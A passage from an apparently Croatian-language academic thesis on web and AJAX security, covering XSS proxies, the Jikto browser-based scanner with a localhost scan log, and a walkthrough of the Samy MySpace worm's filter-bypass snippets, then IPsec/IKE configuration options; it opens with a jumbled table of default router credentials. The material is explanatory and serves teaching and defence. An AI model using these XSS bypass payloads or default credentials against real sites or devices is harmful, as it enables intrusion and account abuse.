Tablica 3.2. Pretpostavljene vrijednosti korisnikog imena i zaporke za esto koritenu mrenu opremu
D-Link
DI-514
admin
(prazno)
DI-524
admin
(prazno)
DI-614+
admin
(prazno)
DI-624
admin
(prazno)
DI-624+
admin
(prazno)
DI-714
admin
(prazno)
DI-724P+
admin
(prazno)
DI-784
admin
(prazno)
DWL-2100AP
admin
(prazno)
DWL-G700AP
admin
(prazno)
admin
admin
WGR-200
admin
admin
WGR-250
admin
admin
BEFW11S4
(prazno)
admin
WAP11
(prazno)
admin
WAP54G
(prazno)
admin
WRK54G
(prazno)
admin
WRT54G
(prazno)
admin
WRT54GS
(prazno)
admin
WRT55AG
(prazno)
admin
WRV54G
admin
admin
(prazno)
admin
Dell
TrueMobile 2300
Gateway
Linksys
Microsoft
MN-500
Uz poznavanje rada administratorske aplikacije na lokalnom posluitelju, te izvrenu

autentifikaciju, mogue je vriti razliite izmjene sustava, od premjetanja raunala iz razliitih
podruja mree (npr. postavljanje internog nezatienog posluitelja u DMZ radi lakeg pristupa),
pa sve do ispisa na mrenim pisaima [11,32,38,41,68].
3.5.3. XSS posrednik

Da bi se proirile mogunosti napadaa koje mu prua XSS napad, stvoren je XSS posrednik.
Obino je XSS napad ogranien kdom koji je ubaen u ranjivu aplikaciju, a dohvat novog kda
dao bi mogunost dinamikog XSS napada i stvaranje dvosmjernog kontrolnog kanala te
stvarnovremenske kontrole rtvinog preglednika od strane napadaa. Dok god rtva ima otvoren
prozor s lokacijom koja je zaraena, napada ima potpunu kontrolu to znai i mogunosti
preusmjeravanja korisnika na druge ranjive aplikacije. Jedan od bitnih dijelova ovog napada je
52
koritenje linijskog iframe okvira. Ono to se njegovim koritenjem dobiva jest da zloudni kd
moe:
itati sav HTML sadraj u drugom prozoru;
postavljati ili brisati sadraj u drugom prozoru (npr. postavljati polja u formularu i poslati
formular);
postavljati varijable i pozivati funkcije iz drugog prozora;
stvarati nove sadraje u drugom prozoru pomou document.write metode
i slino, dok god se nalaze u domeni istog izvora, to znai da se politika istog izvora odnosi na
iframe okvir jednako kao i na AJAX pozive.
XSS posrednik je obino izveden kao samostalna aplikacija koju koristi napada te obino ima
grafiko suelje i omoguava olakano kontroliranje rtvinog preglednika.
Uobiajeno curenje informacija kod XSS-a koritenjem linijskog okvira prikazano je na slici 3.10.
Slika 3.10. Curenje informacija kod XSS napada
Ukoliko rtva posjeti zaraenu stranicu, zloudni kd moe stvoriti novi prozor ili okvir i za
lokaciju mu postaviti neku stranicu koja se nalazi na istoj aplikaciji. Zloudni kd tada ima
mogunost itanja i pisanja po sadraju novostvorenog okvira. Da bi se omoguilo slanje podataka
prema napadau, koriste se ve poznate tehnike koritenjem oznake slike, a koritenjem oznake
skripte, omoguen je dohvat novog kda. Dvosmjerna komunikacija koja se dobiva XSS
posrednikom stvara malo drugaiju situaciju, kao na slici 3.11.
Slika 3.11. Dvosmjerna komunikacija XSS posrednikom

53
Napredna vrsta XSS posrednika omoguava skrivanje IP adrese i lokacije napadaa, no za taj
scenarij, potrebne su dvije aplikacije ranjive na XSS, jedna za prikrivanje lokacije, a druga s koje
napadaa zaista zanima sadraj koji korisnik pregledava. Scenarij je prikazan na slici 3.12.
U prikazanom primjeru, napada koristi prvu aplikaciju da bi stvorio kontrolni prozor. U tom
prozoru otvara tri linijska okvira:
jedan za itanje i pisanje po stranicama prve aplikacije (normalan XSS posrednik)

IFRAME1;
jedan za uitavanje druge aplikacije ranjive na XSS (u kojem uitava dodatni linijski okvir)
IFRAME3;
jedan koji slui kao komunikacijski kanal IFRAME 2.
Slika 3.12. Scenarij naprednog XSS posrednika
Napada i dalje ima mogunost itati i pisati po podacima koji se nalaze u IFRAME1 okviru. Nova
aplikacija se uitava u IFRAME2 okvir te se u njoj otvori novi IFRAME4 okvir za stvarno
uitavanje dokumenata s nove aplikacije. IFRAME2 okvir postaje komunikacijski okvir tako da vri
izmjenu lokacije pokazivanjem na nepostojei URL u domeni jedne od dviju aplikacija. URL je
zapravo kanal kojim putuju podaci, jer se unutar URL-a zapisuju podaci koji se prenose.
Prva aplikacija prima naredbe od napadaa i usmjeruje IFRAME2 na drugu aplikaciju uz dodavanje
napadaevih naredbi u URL. Druga aplikacija ima kontrolu nad IFRAME2, pa ita trenutnu lokaciju
okvira da bi dohvatila napadaeve naredbe. Nakon to izvri naredbe, druga aplikacija usmjeruje
IFRAME2 na lokaciju prve aplikacije te rezultat naredbi dodaje u URL. Prva aplikacija tada ima
kontrolu nad IFRAME2 pa ga proita i proslijedi rezultate napadau. Ovom metodom je IP adresa i
lokacija napadaa potpuno nepoznata drugoj aplikaciji, jer napada ni u jednom trenutku ne
komunicira izravno s njom pa je takoer uspjeno izvedeno zaobilaenje politike istog izvora,
obzirom da IFRAME2 mijenja domenu te je ovisno o stanju XSS posrednika dostupan skriptama na
jednoj ili drugoj domeni [62].
54
3.5.4. JIKTO
Krajem oujka 2007. godine, na ShmooCon konferenciji u Washingtonu, Billy Hoffman, glavni
istraiva u kompaniji SPI Dynamics, odrao je prezentaciju o mogunostima stvaranja zloudnog
JavaScript kda. Na prezentaciji je predstavio Jikto, pretraiva ranjivosti Web aplikacije, u kojem
su sakupljene neke ve predstavljene mogunosti JavaScript-a, ali je dodano i ispitivanje ranjivosti
Web aplikacije. Hoffman nije namjeravao objaviti kd, ali je kd jo tijekom konferencije procurio
u javnost. Kd koji je procurio je osnova Jikto-a, dakle JavaScript kd, dok kontrolni kd i kd za
prikaz rezultata nisu ukradeni, meutim relativno jednostavno je implementirati ga na nain koji
nam odgovara, kao to je jednostavna i modifikacija osnovnog JavaScript kda. Jikto je, kako je
reeno, pretraiva ranjivosti Web aplikacija, koji je potpuno napisan u JavaScript-u. Njegova
osnovna funkcionalnost je pretraga aplikacije i provjera ranjivosti, te slanje rezultata. Meutim,
obzirom da se radi o JavaScript kdu, Jikto je uz manje modifikacije mogue ukljuiti u bilo koju
stranicu te posjetitelje pretvoriti u suuesnike u pretraivanju ranjivosti i eventualnoj eksploataciji
ranjivosti.
Kako bi zaobiao politiku istog izvora, Jikto koristi Google Translate javni posrednik, koji je
primarno namijenjen kao usluga prijevoda Web stranica koju daje Google. Meutim, obzirom da
sav sadraj koji Google Translate vraa spada pod njegovu domenu, bilo ga je lako iskoristiti da bi
se sadraj s razliitih stranica mogao koristiti pod zajednikom domenom, tonije uspjeno zaobii
politiku istog izvora. Ova metoda je prikazana na slici 3.13.
Slika 3.13. Prikaz rada JIKTO alata
Obzirom da se nakon ovog naina dohvaanja sadraja koritenjem Google Translate-a, i Jikto kd i
sadraj koji daje Web posluitelj koji pretraujemo nalaze pod domenom Google Translate-a, Jikto
kd moe pristupati svim elementima dohvaene stranice, kao i vriti nove pozive.
Za dohvat sadraja aplikacije koja se provjerava, mogue je koristiti iframe elemente ili AJAX
pozive. Obzirom da se AJAX pozivima dobiva vea brzina, oni su koriteni za pretragu ranjivosti
Web aplikacije.
Znaajna prednost Jikto-a jest da je vrlo brz, da nije potrebna instalacija dodatnih alata, te da
funkcionira na razliitim preglednicima i platformama. Meutim, postoje i odreeni nedostaci koji
se primarno odnose na koritenje posrednika. Posrednik ima mogunost izmjene polja zaglavlja
zahtjeva, kao i ograniavanja zahtjeva ovisno o sadraju ili o uestalosti zahtjeva.
Logika Jikto-a je jednostavna, iz reda zahtjeva uzima prvi i odailje ga. Nakon to primi odgovor,
proui ga, provjeri veze koje se nalaze u odgovoru i doda ih u red zahtjeva, ali takoer stvara i nove
zahtjeve iz polja formulara. Primjer kontrolirane provjere ranjivosti prikazan je na slici 3.14.
55
Slika 3.14. Proces skeniranja JIKTO alatom
Jikto je postavljen na provjeru Web posluitelja na kojem se nalazi i kd pa stoga nije koriten
Google Translate servis. Meutim, konfiguracija za koritenje putem tog servisa je trivijalna. Na
testnom posluitelju, nalazi se vei broj skripti i stranica.
Proces zapoinjemo uitavanjem kontrolne stranice i pritiskom na gumb za poetak pregleda.
Nakon to pregled zapone, u konzoli je vidljivo da preglednik alje veliku koliinu AJAX zahtjeva
prema Web posluitelju.
Nakon to provjera zavri, rezultati su dostupni napadau u datoteci ili bazi podataka, ovisno o
nainu na koji je Jikto kd prilagoen, tj. nainu na koji se pohranjuju rezultati (u ovom primjeru
radi se o PHP skripti koja dohvaa rezultate od Jikto-a i pohranjuje ih u tekstualnu datoteku). Ispis
3.58 prikazuje rezultate JIKTO alata.
56
Ispis 3.58. Ispis rezultata skeniranja JIKTO alatom

...
GOT THE PAGE
http://127.0.0.1:80/blog/index.php?d=15&amp%3Bm=07&amp%3By=06&amp%3Bcategory=3
method was GET
GOT THE PAGE
method was GET
GOT THE PAGE
method was GET
GOT THE PAGE
method was GET
GOT THE PAGE http://127.0.0.1:80/blog/search.php?q=admin method was GET
GOT THE PAGE
http://127.0.0.1:80/blog/search.php?q=%3Cscript%3Ealert%28%27xss%27%29%3C/scrip
t%3E method was GET
----------VULN URL
t%3E method was GET
SEV 100
TITLE Cross Site Scripting
REQ GET
t%3E HTTP/1.1
RESP HTTP/1.1 200 OK
Date: Tue, 24 Apr 2007 12:40:23 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6 mod_ssl/2.0.55
OpenSSL/0.9.8b
X-Powered-By: PHP/5.1.6
Keep-Alive: timeout=15, max=81
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
VULN URL http://127.0.0.1:80/zend-ike/login/dologin.bak method was GET
SEV 50
GOT THE PAGE http://127.0.0.1:80/zend-ike/login/dologin.bak method was GET
----------VULN URL http://127.0.0.1:80/zend-ike/login/dologin.bak method was GET
SEV 50
TITLE Backup File Detected!
REQ GET http://127.0.0.1:80/zend-ike/login/dologin.bak HTTP/1.1
RESP HTTP/1.1 200 OK
Date: Tue, 24 Apr 2007 12:41:10 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6 mod_ssl/2.0.55
OpenSSL/0.9.8b
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=14ec024fc0a10fea022854a364656a3f; path=/
Content-Length: 23
Keep-Alive: timeout=15, max=83
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
...
Izmeu ostalog, vidljivo je da je Jikto dohvatio sve resurse koji su referencirani u stranicama te je za
odreene javio ranjivosti. U ispisu je vidljivo da je detektirana rezervna kopija datoteke
http://127.0.0.1:80/zend-ike/login/dologin.bak (iz koje je mogue saznati detalje o
implementaciji mehanizma za prijavu). Takoer, detektirana je mogua ranjivost na XSS napad pri
57
zahtjevu
http://127.0.0.1:80/blog/search.php?q=%3Cscript%3Ealert%28%27xss%27%29%3C/script
%3E u kojem je oito kao jedan od parametara pretrage ubaen JavaScript kd. U sluaju da se zaista
radi o XSS ranjivosti, to iako nije u potpunosti implementirano, moe biti relativno jednostavno
provjereno pokuajem evaluacije odgovora u zasebnom iframe okviru, Jikto bi se mogao
samopropagirati umetanjem svog kda u tu ranjivu stranicu.
Napada moe primati informacije raznih korisnika u ijim se preglednicima Jikto izvrava te time
njegove prljave poslove izvravaju sluajni korisnici, a identitet napadaa je skriven prema
aplikacijama koje se provjeravaju [63,64,65].
3.5.5. Samy crv

Samy crv je jedan od najpoznatijih XSS crva koji je koristio AJAX. Crv je razvijen da bi se
propagirao kroz drutvene stranice MySpace.com, tada na 4. mjestu po broju posjeenosti na
Internetu. Njegov tvorac, Samy Kamkar je 31. sijenja 2007. priznao krivnju na suenju koje je
inicirao MySpace.com. Virus je irio sadraj koji je postavljao svog tvorca za prijatelja i osobnog
heroja u rtvinom profilu, da bi se tvorcu poveala popularnost. U samo 20 sati, 4. listopada 2005.
godine, preko milijun korisnikih stranica je bilo zaraeno ovim crvom te je Samy postao jedan od
najbre rairenih crva u povijesti.
Da bi se shvatila vanost ovog crva, potrebno je prouiti na koji nain je izvrio eksploataciju
ranjivosti MySpace.com drutvenih stranica, to je i autor crva objavio nakon to je MySpace.com
ispravio ranjivost.
MySpace.com je vrio provjeru HTML oznaka, tonije doputali su samo <a>, <img> i
<div> oznake. Oznake <script>, onClick dogaaji, veze s JavaScript-om i slino nije bilo
dozvoljeno. Meutim, neki preglednici (IE, Safari, itd.) dozvoljavaju JavaScript kd unutar
CSS stilova. Kdom u ispisu 3.59 omogueno je izvravanje JavaScript kda, umjesto
dohvata pozadinske slike definirane CSS stilom.
Ispis 3.59. Zaobilaenje restrikcije izvoenja JavaScript kda
<div style="background:url('javascript:alert(1)')">
Koritenje navodnika unutar prethodnog kda je bilo nemogue, obzirom da su jednostruki i

dvostruki navodnici ve iskoriteni. Time je pisanje JavaScript kda znatno oteano. Da bi
se zaobiao ovaj problem, koriten je izraz da bi se pohranio JavaScript kd te ga se izvelo
koritenjem eval() funkcije, kao u ispisu 3.60.
Ispis 3.60. Pohrana kda u izraz radi koritenja znakova navodnika
<div id="mycode" expr="alert('hah!')"

style="background:url('javascript:eval(document.all.mycode.expr)')">
Nakon to je prethodnim omoguio koritenje jednostrukih navodnika, autor je shvatio da

MySpace.com filtrira rije javascript iz cjelokupnog sadraja. Da bi ovo zaobiao,
iskoristio je mogunost nekih preglednika da java\nscript (java<NOVA LINIJA>script)
interpretiraju kao javascript, kao u ispisu 3.61.
Ispis 3.61. Primjer interpretacije kda s oznakom nove linije
<div id="mycode" expr="alert('hah!')" style="background:url('java

script:eval(document.all.mycode.expr)')">
Ponekad je osim jednostrukih, bilo nuno koristiti i dvostruke navodnike. Najjednostavniji

nain da ih se koristi, a ne poremeti ostatak kda, bilo bi njihovo izbjegavanje (npr.
foo\bar gdje bi rezultat trebala biti vrijednost foobar). Meutim, MySpace je izbacivao
58
sve izbjegnute navodnike (jednostruke i dvostruke) neovisno gdje se nalaze u sadraju. Ipak,
rupa je postojala. Pretvorbom decimalne u ASCII vrijednost kroz JavaScript, bilo je mogue
stvoriti znak navodnika, kao u ispisu 3.62.
Ispis 3.62. Stvaranje navodnika pretvorbom decimalne u ASCII vrijednost
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))"
style="background:url('java
script:eval(document.all.mycode.expr)')">
Da bi se poslao novi sadraj profilu korisnika koji gleda zaraenu stranicu, bilo je potrebno
dohvatiti
kd
stranice.
Kamkar
je
to
pokuao
izvesti
koritenjem
document.body.innerHTML poziva da bi dohvatio kd stranice i unutar njega polje u kojem
je zapisan identifikator korisnika koji gleda stranicu. Meutim, MySpace.com je ponovno
postavio prepreku zabranjujui rije innerHTML bilo gdje u sadraju. Da bi izbjegao ovo
ogranienje, napada je koristio spajanje rijei na nain kao u ispisu 3.63.
Ispis 3.63. Spajanje izraza koji su ogranieni
alert(eval('document.body.inne' + 'rHTML'));
Da bi se pristupilo drugim stranicama, napada je bio u mogunosti koristiti iframe element,

ili AJAX pozive. Obzirom da iframe elementi (ak i skriveni) laki za otkriti i manje
upravljivi nego AJAX pozivi, odluio se za AJAX. Meutim, obzirom da je MySpace.com
filtrirao rije onreadystatechange koja je nuna za AJAX pozive, prethodni trik je morao
ponovno upotrijebiti, kao u ispisu 3.64.
Ispis 3.64. Ponovno spajanje izraza prije evaluacije
eval('xmlhttp.onread' + 'ystatechange = callback');
Da bi promjena korisnikih stranica bila to manje uoljiva, bilo je potrebno dohvatiti

trenutnu listu heroja korisnika te dodati svoje ime bez brisanja postojeih. Koritenjem GET
poziva kroz AJAX, bilo bi jednostavno dohvatiti listu heroja i sauvati ju. Kako je ve
reeno, da bi dohvatio kd stranice, tonije identifikator korisnika koji gleda stranicu, bilo je
potrebno izvriti pretraivanje dohvaenog kda. Ukoliko bi standardna pretraga bila
izvrena, postoji mogunost da bi pretragom dohvatili svoj kd, kd crva, u kojem se rije
koju traimo takoer nalazi, ali kao parametar pretrage. Stoga je ponovnom kombinacijom
rijei problem izbjegnut, kao u ispisu 3.65.
Ispis 3.65. Izbjegavanje izraza pri pretrazi kda
var index = html.indexOf('frien' + 'dID');
Obzirom da se izraz friendID sada ne moe nai u kdu crva, ve je zamijenjen gornjim
izrazom spajanja, pretraga vraa ispravan rezultat.
Prvo slijedee to je napada napravio je, pokuao je dodati sebe za prijatelja rtvi, slanjem
AJAX poziva POST metodom na addFriends stranicu. Obzirom da se trenutno kd izvodi
na profile.myspace.com, a ne na www.myspace.com domeni, poziv nije uspio jer je
detektiran pokuaj povrede politike istog izvora. Meutim i za to je napada pronaao
rijeenje. Profili korisnika su bili dostupni i s www.myspace.com domene pa bi ponovno
uitavanje stranice na toj domeni dozvolilo slanje POST zahtjeva. Primjer promjene domene
prikazan je u ispisu 3.66.
Ispis 3.66. Kd za izmjenu domene
if (location.hostname == 'profile.myspace.com') document.location =

'http://www.myspace.com' + location.pathname + location.search;
59
Nakon ovog trika, POST zahtjev je uspjeno poslan, meutim, prijatelj nije zaista dodan.
MySpace.com generira sluajan niz znakova koji se umeu u stranicu s koje se odailje POST
zahtjev. Ukoliko taj niz nije odaslan zajedno s POST zahtjevom, zahtjev nije bio uspjeno
autoriziran. Da bi se zaobilo ovaj problem, napada je prvo dohvatio GET zahtjevom stranicu s
koje se alje POST zahtjev, iz njenog sadraja dohvatio sluajni niz znakova te zatim izvrio slanje
POST zahtjeva uz dodavanje zadanog niza. Nakon to je uspjeno dodan kao prijatelj, napada je
elio dodati sebe kao heroja, ali i dodati kd crva da bi se propagirao. Kd je postavio u popis
heroja, za to je bio potreban jedan POST zahtjev i prethodni GET da bi se dohvatio sluajan niz.
Nakon manjih problema oko URL kdiranja kda da bi se uspjeno umetnuo u stranicu, crv je
kompletiran. Za ovaj napad, oito je bilo potrebno dosta znanja i snalaljivosti da bi se zaobilo sva
ogranienja [16].
60
4. Praktini rad WebIKE aplikacija

WebIKE je Web aplikacija u potpunosti izvedena putem AJAX-a. Njena glavna namjena je
pojednostavljenje i automatizacija konverzije konfiguracija za razliite IKE alate i testiranja
razliitih konfiguracija. Aplikacijom se eljelo omoguiti stvaranje konfiguracijske datoteke za
racoon alat iz generike konfiguracije koritenjem Web suelja te pokretanje racoon alata. Takoer,
eljelo se ostaviti dovoljno prostora da budua proirenja, kako opcija zapisanih u konfiguracijskim
datotekama, tako i za koritenje razliitih IKE alata, prvenstveno IKEv2 alata.
4.1. Konfiguracijske datoteke i opcije

4.1.1. IKE protokol i konfiguracija
IPsec je ekstenzija IP protokola koja prua sigurnost IP protokolu i protokolima vieg sloja.
Primarno je razvijen za IPv6 protokol te je kasnije dodan i kao mogunost za IPv4 protokol.
Arhitektura IPsec-a je opisana u RFC2401.
IPsec koristi dva razliita protokola, AH i ESP, da bi osigurao autentifikaciju, integritet i
pouzdanost komunikacije. Mogue je zatititi cijeli IP datagram, ili samo protokole vieg sloja.
Stoga postoje dva primarna naina rada tunelirajui nain gdje je IP datagram potpuno
enkapsuliran novim IP datagramom koristei IPsec protokol, te transportni nain u kojem se titi
samo podatke viih protokolnih slojeva, a IPsec zaglavlje se umee izmeu originalnog IP zaglavlja
i zaglavlja protokola vieg sloja kao na slici 4.1.
Slika 4.1. Nain dodavanja AH i ESP zaglavlja
Da bi se zatitio integritet IP datagrama, IPsec protokol koristi autentifikacijske kdove saetka

poruke (engl. Hash message authentication codes HMAC). Za izraun HMAC-a, koriste se
standardni algoritmi za izraun saetka (SHA i MD5) raunanjem saetka na temelju tajnog kljua i
podatkovnog dijela IP datagrama. HMAC je zatim ukljuen u zaglavlje IPsec protokola te ga
primatelj paketa moe provjeriti ukoliko ima tajni klju.
Da bi se zatitila pouzdanost IP datagrama, IPsec protokoli koriste standardne simetrine algoritme
kriptiranja. IPsec norma zahtjeva implementaciju NULL i DES algoritama, no danas su ei jai
algoritmi kao 3DES, AES i Blowfish.
Da bi se promet zatitio od DoS napada, IPsec protokoli koriste mehanizam klizeeg prozora.
Svakom paketu se pridruuje redni broj i paket se prima samo u sluaju da je njegov redni broj
unutar promatranog prozora ili noviji. Svi stariji paketi se automatski odbacuju. Ovaj postupak titi
od napada ponavljanjem, u kojima napada snimljene originalne pakete pokuava ponovno poslati.
Da bi krajnje toke komunikacije mogle vriti enkapsulaciju i dekapsulaciju IPsec paketa, potreban
je nain uvanja tajnih kljueva, algoritama i IP adresa ukljuenih u komunikaciju. Svi ovi
61
parametri potrebni za zatitu IP datagrama, uvaju se u sigurnosnoj asocijaciji (nadalje SA engl.

Security Association), dok se SA-ovi uvaju u bazi sigurnosnih asocijacija (nadalje SAD engl.
Security Association Database).
Svaki SA definira sljedee parametre:
Izvorina i odredina IP adresa rezultirajueg IPsec zaglavlja. Ovo su IP adrese krajnjih

toaka IPsec komunikacije;
IPsec protokol (AH ili ESP);
Algoritam i tajni klju koji IPsec koristi;
Indeks sigurnosnog parametra (nadalje SPI engl. Security Parameter Index) 32-bitni broj
koji identificira pojedini SA.
Obzirom da SA definira izvorinu i odredinu IP adresu, moe zatititi samo jedan smjer prometa u
dvosmjernoj IPsec komunikaciji. Da bi se zatitila komunikacija u oba smjera, potrebna su dva
jednosmjerna SA. SA definira samo kako IPsec treba tititi promet. Naravno, potrebne su i
informacije kada i koji promet treba tititi. Te informacije se nalaze u zapisima sigurnosne politike
(nadalje SP engl. Security Policy), koji su pohranjeni u bazi sigurnosne politike (nadalje SPD
engl. Security Policy Database). SP obino specificira sljedee parametre:
izvorina i odredina adresa paketa koje je potrebno tititi. U transportnom nainu rada, ove
adrese su jednake adresama u SA, dok u tunelirajuem nainu rada mogu biti drugaije;
protokol (i pristup) koji se tite. Neke implementacije ne dozvoljavaju definiranje protokola

koji se titi pa se titi sav promet izmeu navedenih adresa;
SA koji se koristi za zatitu paketa;
nain rada tunelirajui ili transportni.
Pojedine implementacije SPD-a omoguuju i ove dodatne parametre:
veliina klizeeg prozora i
vrijeme trajanja SA.
Runo postavljanje SA-a je prilino osjetljiv zadatak i ne pretjerano siguran. Tajni kljuevi i
algoritmi kriptiranja moraju se podijeliti svim krajnjim tokama virtualne privatne mree. Razmjena
simetrinih kljueva je kritian problem za administratora sustava, obzirom da se jo ne vri ni
jedan oblik kriptiranja.
Da bi se ovaj problem rijeio, stvoren je IKE (Internet Key Exchange) protokol. U prvoj fazi IKE
protokola, vri se autentifikacija krajnjih toaka, dok se u drugoj fazi vri dogovor o potrebnim SAima, te se odabiru simetrini tajni kljuevi koritenjem Diffie-Hellmann razmjene kljueva. IKE
protokol takoer vri i periodiku izmjenu kljueva da bi se osigurala njihova pouzdanost.
IKE protokol rjeava najizraeniji problem pokretanja sigurne komunikacije - autentifikaciju
krajnjih toaka i izmjenu simetrinih kljueva. Zatim stvara SA-e i dodaje ih u SAD. IKE protokol
obino zahtijeva daemon i nije implementiran unutar operacijskog sustava. IKE protokol koristi
pristup 500 i protokol UDP za svoju komunikaciju.
Protokol funkcionira u dvije faze. Prva faza vri uspostavu ISAKMP SA (Internet Security
Association Key Management Security Association). U drugoj fazi, ISAKMP SA se koristi za
dogovor i postavljanje IPsec SA-a. Autentifikacija krajnjih toaka u prvoj fazi obino se odvija na
temelju preraspodjeljenih kljueva (PSK Pre-Shared Key), RSA kljueva i X.509 certifikata. Prva
faza moe se izvesti u dva naina, glavni (engl. main mode) i agresivni (engl. aggressive mode).
Oba naina autentificiraju krajnje toke i uspostavljaju ISAKMP SA, ali agresivnim nainom se za
62
to izmjeni dvostruko manje poruka izmeu krajnjih toaka. Naravno da to povlai i nedostatke, jer
agresivni nain ne podrava zatitu identiteta pa je ovaj nain ranjiv na napad presretanja (engl.
Man-in-the-middle) u sluaju koritenja PSK autentifikacije. S druge strane, ovo i je jedini cilj
agresivnog naina rada jer glavni nain ne dozvoljava koritenje razliitih preraspodjeljenih
kljueva za nepoznate krajnje toke. Kako je reeno, agresivni nain rada ne podrava zatitu
identiteta pa prenosi podatke o identitetu klijenta u nekriptiranom obliku. Stoga krajnje toke znaju
s kime komuniciraju prije nego se izvri autentifikacija i mogu odabrati odgovarajui
preraspodjeljeni klju za svakog pojedinog klijenta. U drugoj fazi IKE protokola vri se izmjena
zahtjeva za SA-ima i dogovor o SA-ima na temelju ISAKMP SA. ISAKMP SA prua
autentifikaciju da bi se zatitio od napada presretanja. Druga faza koristi takozvani brzi nain rada
(engl. quick mode).
Obino dvije krajnje toke uspostavljaju samo jedan ISAKMP SA, koji se zatim koristi za dogovor
o nekoliko (najmanje dva) jednosmjernih SA-a.
4.1.2. Konfiguracijska datoteka IKEv2 alata

Konfiguracijska datoteka IKEv2 alata koji se razvija na Zavodu, trenutno sadri sljedee ope
opcije:
path pre_shared_key datoteka;

Specificira datoteku koja sadri PSK klju za razliite identifikatore.
path pre_shared_key /etc/psk.txt;
kernel_spd opcija;
Specificira to treba napraviti s kernel politikom u trenutku pokretanja. Mogue ju je
ponititi i postaviti politiku definiranu u konfiguracijskoj datoteci, mogue ju je
sinkronizirati s politikom definiranom u konfiguracijskoj datoteci, ili ju je mogue
zanemariti i postaviti politiku definiranu u konfiguracijskoj datoteci. Mogue opcije su:
flush ponititi
sync sinkronizirati
generate generirati novu

kernel_spd flush;
listen address adresa:pristup;

Specificira adresu i pristup na kojima e ikev2 alat oekivati promet. Ukoliko pristup i
adresa nisu definirani, podrazumijeva se vrijednost 0.0.0.0:500.
listen address 161.53.65.40:500;
ikesa_max broj;
Specificira koliko potpuno uspostavljenih IKE sigurnosnih asocijacija s iste IP adrese e alat
dozvoliti prije nego pone ignorirati nove zahtjeve.
ikesa_max 50;
ikesa_max_halfopened broj;
Specificira koliko djelomino uspostavljenih IKE sigurnosnih asocijacija s iste IP adrese e
alat dozvoliti prije nego pone ignorirati nove IKE SA INIT zahtjeve.
ikesa_max_halfopened 50;
remote ip_adresa {
Remote sekcija - specificira parametre za IKE prvu fazu za svaki udaljeni vor. Ukoliko je
specificirana vrijednost anonymous, parametri e odgovarati svim vorovima koji ne
odgovaraju ostalim remote sekcijama.
Remote 161.53.65.40 {
Opcije remote sekcije su:
nonce_size broj;
Specificira veliinu nonce vrijednosti u bajtovima
nonce_size 32;
authlimit time vrijeme;

63
Specificira vremensko ogranienje autentifikacije.

authlimit time 1 week;
ike_max_idle vrijeme;
Specificira maksimalno vrijeme neaktivnosti nakon kojeg se pokree proces detekcije
mrtvog sudionika (engl. dead peer detection).
ike_max_idle 1000 s;
limit time|octets|allocs vrijeme|veliina|broj;

Specificira ogranienje vremena, okteta ili alokacija. Ovisno o tipu ogranienja, ovisi i
vrijednost koja se specificira pa tako, ukoliko je specificiran tip ogranienja:
time definira se vrijednost vremena
octets - definira se ukupna veliina svih okteta
allocs - definira se broj alokacija

Opcija se moe ponoviti uz definiranje drugog tipa ogranienja.
limit time 2000 s;
limit allocs 12000;
limit octets 1 MB;
response_timeout vrijeme;
Specificira vrijeme ekanja prije odgovora.
response_timeout 3 s;
response_retries broj;
Specificira broj pokuaja za odgovor.
response_retries 3;
generate policy opcija;

Specificira da li alat treba dinamiki generirati politiku. Ova opcija je zahtijevana kod
roadwarrior klijenata. Mogue opcije su:
on ukljuena opcija
off iskljuena opcija

generate policy on;
natt opcija;
Specificira da li alat treba podrati ili inicirati zahtjeve IPsec NAT-T proirenja. NAT-T
omoguava da jedan ili oba vora veze mogu biti iza posrednika koji vri NAT. Mogue
opcije su:
on inicirati
off iskljuena opcija
passive podrati
natt passive;
my_identifier vrsta identifikator;

Specificira identifikator koji se alje udaljenom voru i vrstu identifikatora tijekom prve faze
pregovora.
my_identifier rfc822_addr sgros@zemris.fer.hr;
accept_peer_identifier vrsta identifikator;

Specificira identifikatore koji se prihvaaju od strane udaljenog vora i vrstu identifikatora
tijekom prve faze pregovora.
accept_peer_identifier rfc822_addr sgros@zemris.fer.hr;
ca_type vrsta datoteka;

Specificira certifikat root certificate authority-ja koji je odobrio certifikat klijenta i vrstu tog
certifikata.
ca_type x509 /etc/rootca.crt;
certificate_type vrsta datoteka klju;

Specificira certifikat koji se koristi za autentifikaciju, vrstu certifikata i datoteku privatnog
kljua.
certificate_type x509 /etc/cert.crt /etc/private.key;
proposal {
Zasebna sekcija koja specificira zahtjeve prema drugom voru. Sadri sljedee specifikacije:
64
limit time|octets|allocs vrijeme|veliina|broj;

Specificira ogranienje vremena, okteta ili alokacija za odreeni zahtjev. Opcija je
identina limit opciji u remote sekciji.
encryption_algorithm algoritam;
Specificira algoritam enkripcije tijekom prve faze pregovora. Mogua vrijednost je
primjerice aes128_cbc.
encryption_algorithm aes128_cbc;
auth_algorithm algoritam;
Specificira algoritam autentifikacije. Mogua vrijednost je primjerice md5_96.
auth_algorithm md5_96;
pseudo_random_function algoritam;
Specificira algoritam saetka. Mogua vrijednost je primjerice md5.
pseudo_random_function md5;
dh_group opcija;
Specificira grupu Diffie-Hellmann eksponencija. Mogua vrijednost je primjerice
modp1024.
dh_group modp1024;
authentication_method metoda;
Specificira metodu autentifikacije tijekom prve faze pregovora. Mogua vrijednost je
primjerice pre_shared_key.
authentication_method pre_shared_key;
Sainfo sekcija - specificira parametre druge faze IKE protokola. Zaglavlje se moe pojaviti na dva
naina:
sainfo src ip_srcadresa sport pristup_src dst ip_dstadresa dport pristup_dst proto protokol{
gdje su:
ip_srcadresa IP adresa vora na poetku tunela ili raspon adresa mree
pristup_src pristup, raspon pristupa ili any kao oznake pristupa vora na poetku
tunela
ip_dstadresa IP adresa vora na kraju tunela ili raspon adresa mree
pristup_dst pristup, raspon pristupa ili any kao oznake pristupa vora na kraju tunela
protokol protokol koji se titi

sainfo src 192.168.1.1-192.168.1.10 sport 1000-2000 dst 192.168.2.1 dport
any proto tcp {
sainfo anonymous [from identifikator]{

koji obuhvaa sve gore navedene opcije u cjelokupnom rasponu adresa, pristupa i protokola.
